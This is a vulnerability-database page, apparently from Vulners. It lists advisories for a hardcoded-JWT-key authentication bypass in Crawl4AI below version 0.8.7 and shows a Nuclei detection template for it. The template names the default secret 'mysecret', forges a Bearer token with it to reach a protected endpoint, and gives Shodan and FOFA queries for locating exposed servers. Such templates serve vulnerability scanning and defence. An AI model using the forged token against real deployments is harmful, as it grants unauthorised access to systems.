Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| CVE-2026-56265 | 21 Jun 202613:26 | – | attackerkb | |
| CVE-2026-56265 | 22 Jun 202600:39 | – | circl | |
| CVE-2026-56265 | 21 Jun 202613:26 | – | cve | |
| CVE-2026-56265 Crawl4AI - Authentication Bypass via Hardcoded JWT Signing Key | 21 Jun 202613:26 | – | cvelist | |
| EUVD-2026-38170 | 21 Jun 202613:26 | – | euvd | |
| CVE-2026-56265 | 21 Jun 202614:16 | – | nvd | |
| CVE-2026-56260 Crawl4AI - Arbitrary File Write via output_path Parameter | 12 Jul 202612:06 | – | osv | |
| CVE-2026-56261 Crawl4AI - Server-Side Request Forgery via Webhook URLs | 10 Jul 202613:57 | – | osv | |
| CVE-2026-56262 Crawl4AI - Unauthenticated Access to Monitor Endpoints via Docker API Server | 24 Jun 202611:53 | – | osv | |
| CVE-2026-56263 Crawl4AI - Stored Cross-Site Scripting in Monitor Dashboard | 23 Jun 202612:13 | – | osv |
10
id: CVE-2026-56265
info:
name: Crawl4AI < 0.8.7 - Hardcoded JWT Signing Key Authentication Bypass
author: prithvee07
severity: critical
description: |
Crawl4AI Docker API server versions before 0.8.7 ship with a hardcoded default JWT signing key ("mysecret") used to sign and verify HS256 authentication tokens. Because the key is identical across every deployment where SECRET_KEY has not been overridden, an unauthenticated attacker can forge a valid Bearer token and use it to access every JWT-protected API endpoint (/md, /html, /screenshot, /pdf, /execute_js, /crawl, /ask).
impact: |
Unauthenticated attackers can forge valid JWT authentication tokens and gain full access to protected Crawl4AI API endpoints (crawling, screenshot, PDF generation, JavaScript execution, and library context retrieval), resulting in complete compromise of the deployment's intended access control.
remediation: |
Upgrade Crawl4AI to version 0.8.7 or later, which removes the hardcoded default signing key, rejects known weak secrets, and auto-generates an ephemeral key when JWT authentication is enabled without an explicit SECRET_KEY. As a workaround, set the SECRET_KEY environment variable to a strong random value.
reference:
- https://github.com/unclecode/crawl4ai/security/advisories/GHSA-365w-hqf6-vxfg
- https://www.vulncheck.com/advisories/crawl4ai-authentication-bypass-via-hardcoded-jwt-signing-key
- https://github.com/unclecode/crawl4ai
- https://nvd.nist.gov/vuln/detail/CVE-2026-56265
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-56265
epss-score: 0.02639
epss-percentile: 0.844
cwe-id: CWE-798
metadata:
verified: true
max-request: 2
vendor: unclecode
product: crawl4ai
shodan-query: http.html:"crawl4ai"
fofa-query: body="crawl4ai"
tags: cve,cve2026,crawl4ai,auth-bypass,jwt,hardcoded-credentials,unauth
variables:
exp: "{{unix_time(3600)}}"
secret: "mysecret"
payload: '{"scope":"data","exp":{{exp}}}'
flow: http(1) && http(2)
http:
- raw:
- |
GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains(body, "Authentication required") || contains(body, "No token provided") || contains(body, "Not authenticated")'
condition: and
internal: true
- raw:
- |
GET /ask?context_type=code&query=crawl&max_results=1 HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{generate_jwt(payload,"HS256",secret)}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "code_results")'
- '!contains(body, "Invalid or expired token")'
condition: and
extractors:
- type: dsl
dsl:
- 'to_string(generate_jwt(payload,"HS256",secret))'
# digest: 4b0a00483046022100a0c98aa4fe4e708d0af9cbadead1d22443ee1be0fec21550da0d57a46ee132eb022100c44c3f1950d886fdbac2f63b4f96298169adaa654a618dd52745fd0229c9df8f:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Aug 2026 06:59Current
5.4Medium risk
Vulners AI Score5.4
CVSS 49.3
CVSS 3.19.8
EPSS0.02639
SSVC